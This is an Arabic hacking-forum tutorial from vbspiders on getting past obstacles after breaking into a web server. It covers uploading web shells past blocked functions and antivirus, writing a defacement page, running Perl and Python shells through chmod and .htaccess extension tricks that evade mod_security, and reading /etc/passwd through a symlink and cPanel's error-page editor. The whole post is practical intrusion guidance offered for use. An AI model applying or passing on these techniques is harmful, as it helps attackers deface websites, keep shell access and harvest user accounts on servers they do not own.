:: vBspiders Professional Network :: - تخطي بعض مشاكل الاختراق

http://img42.imageshack.us/img42/602/98223430.png

الموضوع ان شاء الله حل لبعض المشاكل اللي بتواجه المخترق

هنبدا باول مشكلة

عند رفع الشل تيجي ترفع ملف بالرغم ان المجلد اللي انتا عليه تصريحه 755 او 777 ما يرضى يترفع معك
طبعا هو في كذا سبب واول سبب ان الروت مانع دالة

كود PHP:

   move_uploaded_file

lمن البي اتش بي فبتالي الملف لن يترفع معك
اما السبب التاني ان الروت مركب برامج على السيرفر انتي فيرس فعند رفع الشل يتم حذفه فوراً

تخطي المشكلة

هنستعمل دالة بتقوم بعمل ملف جديد ودالة بتقوم بالكتابه على الملف المنشأ

اقتباس:

fopen , fwrite

ابحث عن اي ملف php داخل الشل مسموح لك تعدل عليه ومن ثم ضع الكود المرفق باسم

vbspiders.zip

داخل الملف
http://www2.0zz0.com/2012/12/30/16/759992396.png

ومن ثم استعرض الملف من المتصفح

localhost/vbspiders.php

اعمل ريفرش للشل هتلاقي ملف الاندكس نزل

http://www2.0zz0.com/2012/12/30/16/668936175.png

localhost/hacked.html

بامكانك حقن شل او اكود ابلود

http://vbspiders.com/vb/images/print4.png
ناتي لتاني مشكله

تصريح سكربتات البيرل
عن طريق دوال البي اتش بي

احيانا يواجهك الوضع الامن on والروت مرقع تخطي الوضع الامن
php.ini+.htaccess

بنلجأ لتشغيل البيرل على السيرفر بنرفع شل البيرل لكن محتاج تصريح 755

لتفادي مشكلة
internal server error
http://www.ozgurden.com/wp-content/u...atas%C4%B1.png

هنعتمد على دالة

كود PHP:

    chmod

في تصريح البيرل طريقة كتابتها اعمل ملف جديد وضع فيه التالي

كود PHP:

   <? chmod(shell.pl 0755); ?>

او ارفع الملف المرفق
Chmode

http://vbspiders.com/vb/images/print4.png
ناتي لتالت مشكلة

تشغيل البيرل على السيرفر

في بعض الاحيان ترفع شل بيرل على السيرفر يواجهك مشكلة

اقتباس:

Internal Server Error

في اسباب لهذه المشكله
نيجي لاسباب وان شاء الله هنشغل البيرل بنسبه كبيره طبعا

الروت عامل قوانين في المود سيكورتي مانع امتداد .PL
او مصرح البيرل او حاذفه
اول حل
لتشغيل تغير امتداد الشل وليكن

كود PHP:

   vbspiders.sp

هنغير الامتداد عن طريق ملف الهتاكس ارف شل البيرل داخل مجلد
وبعدها ارفع الملف المرفق

كود PHP:

   .htaccess

في مجلد الشل

وبعدها صرح شل البيرل بالامر

كود PHP:

   chmod 755 vbspiders.pl

الحل الاخر برفع مترجم بيرل في حالة الروت لو كان مصرح البيرل

في المرفق ملف مضغوط بأسم

اقتباس:

tra perl.zip

ارفع ملفاته داحل مجلد معاهم شل بيرل وبعدها استعرض ملف
localhost/chmod.php
هيقوم بتصريح مترجم البيرل 777 وشل البيرل 755
وهيشتغل ان شاء الله

http://vbspiders.com/vb/images/print4.png
ناتي لرابع مشكله
تشغيل البايثون على السيرفر

في بعض الاحيان البيرل ما يشتغل على السيرفر
بنلجأ لتشغيل شل البايثون

في المرفقات في هتاكس + شل بايثون ارفعهم
بعدها صرحه

كود PHP:

    chmod 755 vbspiders.py

http://vbspiders.com/vb/images/print4.png
ناتي لخامس مشكله قرائة ملف

كود PHP:

    etc/passwd

هذا الملف مهم جدا فلا تسطيع معرفة يوزرات المواقع الا من خلال احيانا تيجي تقرا الملف
عن طريق الامر

كود PHP:

    cat /etc/passwd

في اسباب لهذه المشكله
الروت مصرح ملف

كود PHP:

    etc/passwd

او دوال قرائة هذه الملف ممنوعه في ملف

كود PHP:

    php.ini

زي دالة

كود PHP:

   readfile

في المرفق ملف هتاكس موجود فيه اوامر تطبقها في حالة لم ينفع

هنقرا الملف عن طريق

كود PHP:

   Cpanel

نعمل اختصار لملف اليوزرات

كود PHP:

    ln -s /etc/passwd mafia.txt

ويكون مسارك في السيرفر

كود PHP:

    public_html

نذهب للسي بانل

كود PHP:

    localhost:2082

ومن ثم
error page

كود PHP:

   https://vbspiders.com:2083/cpsess6725845850/frontend/x3/err/index.html

,وبعدها نختار اي صفحة خطا سواء كان
400
401

كود PHP:

   [PHP]https://vbspiders.com:2083/cpsess6725845850/frontend/x3/err/erredit.html?dir=public_html/&domain=vbspiders.com&file=400.shtml&desc=%28Bad%20request%29

[/PHP]

هنقوم بتغير
400.shtml

لاسم الاختصار وتكون بهذه الطريقه

كود PHP:

   [PHP]https://vbspiders.com:2083/cpsess6725845850/frontend/x3/err/erredit.html?dir=public_html/&domain=vbspiders.com&file=mafia.txt&desc=%28Bad%20request%29

[/PHP]

هيتم قرائة ملف
etc/passwd

=====